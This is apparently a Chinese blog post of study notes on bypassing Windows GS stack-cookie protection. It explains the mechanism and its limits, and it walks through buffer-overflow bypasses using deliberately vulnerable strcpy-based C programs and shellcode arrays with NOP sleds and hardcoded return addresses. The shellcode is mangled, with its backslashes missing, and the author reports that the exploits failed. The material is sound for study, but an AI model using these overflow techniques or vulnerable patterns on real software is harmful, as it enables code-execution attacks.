GS原理
在所有函数调用发生时,向栈帧内压入一个额外的随机DWORD,这个随机数被称为“canary”,在ida里面被称为“Security Cookie“。“Security Cookie“位于EBP之前,系统还将在.data的内存区域存放一个“Security Cookie“的副本。当栈中发生溢出时,“Security Cookie“会被先淹没,之后才会使EBP和返回地址。在函数返回之前,系统将执行一个额外的安全验证操作,被称作“Security check”。会将栈帧中的原先的“Security Cookie“和.data中的副本进行比较,如果不一样则判断发生栈溢出。
GS局限
因为额外的数据和操作会导致系统性能的下降,所以并不是对所有的函数都应用GS,以下情况不会应用GS。
-
函数不包含缓冲区。
-
函数被定义为具有变量参数列表。
-
函数使用无保护的关键字标记。
-
函数在第一个语句中包含内嵌汇编代码。
-
缓冲区不是8字节类型且大小不大于4字节。
#pragma strict_gs_check(on) 可以对任意的函数添加security cookie,即可对不符合GS包含条件的函数添加GS保护
此外,vs2005之后还会变量重排,将字符串变量移动到栈的高地址处,即离ebp相距最近,这样可防止破坏局部变量的值,而且还会将指针参数和字符串参数复制到内存中搞个副本,防止函数参数被破坏。
GS突破
利用未保护的内存突破GS
利用了上面局限的第五条,只要创建的缓冲区在4个字节以下就不会有GS的出现。
#include<stdio.h>
#include <string.h>
int vulfuncion(char *str) {
char array[16];
strcpy(array, str);
return 1;
}
int main() {
char str[] = "yeah, the function is without GS";
vulfuncion(str);
return 0;
}
这个程序就不会有GS的检测,最后“fnc”的ASCII码会覆盖返回地址。
覆盖虚函数突破GS
因为虚函数的实现过程是程序根据虚表指针找到虚表,然后从虚表中取出需要的虚函数地址执行。在GS机制里,程序只有在函数返回的时候才会去检查Security Cookie,所以我们可以在它检查之前劫持程序流程到我们想要的地方去。
攻击异常处理突破GS
GS并没有对S.E.H起到保护作用,所以只要触发一个异常,程序就会转入异常处理机制,接着我们就可以通过覆盖异常处理函数指针来劫持流程来达到攻击的目的。
实践的操作
#include <string.h>
char shellcode[] =
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90"
"xB0xFEx12x0x0"//address of shellcode
;
void test(char * input)
{
char buf[200];
__asm int 3;
strcpy(buf, input);
strcat(buf, input);
}
void main()
{
test(shellcode);
}
从理论上讲,上面的代码没有什么问题,但在我在win2000操作的时候最后的shellcode地址总是取不到最前面的00而被后面的替入了,所以不能实现攻击。应该是直接判断x00为结束标志了。
同时替换栈中和.data中的Cookie突破GS
上面都是对GS的绕过,我们也可以直接从GS上入手,最后的check是比较栈中的cookie和.data里面的值相比,那么我们可以把这两个改成一样的。但这个条件就很苛刻,正常情况下,我们是无法访问到.data段中的,只有当一个指针偏移没有作判断,能够为我们所用,将它指向.data的时候,才能够覆盖修改.data的第一个dword。代码中创造的条件是这样的,先申请一块堆区,再创建一个指针指向的地址是堆区+偏移(i),当i为我们恶意构造的负数的时候,就有可能指向.data段。
#include <string.h>
#include <stdlib.h>
char shellcode[]=
"x90x90x90x90"//new value of cookie in .data
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"xF4x6Fx82x90"//result of x90x90x90x90 xor EBP
"x90x90x90x90"
"x94xFEx12x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
char dest[200];
if(i<0x9995)
{
char * buf=str+i;
*buf=*src;
*(buf+1)=*(src+1);
*(buf+2)=*(src+2);
*(buf+3)=*(src+3);
strcpy(dest,src);
}
}
void main()
{
char * str=(char *)malloc(0x10000);
//__asm int 3
test(str,0xFFFF2FB8,shellcode);
}
这是笔者给的代码。给的i是负数,所以s+i所指向的空间就会脱离main中申请的空间,进而有可能会指向.data区域。而Security Cookie的校验是从.data取出值然后和EBP做一次异或,最后再和栈中的比较。
但上面的代码我一直没试验成功,不知道为什么vs2008编译后的代码在od里面并没有找到if语句,好像是直接被取消换成了另一个循环。
参考链接: 《0day安全漏洞分析技术》 http://oldblog.giantbranch.cn/?p=489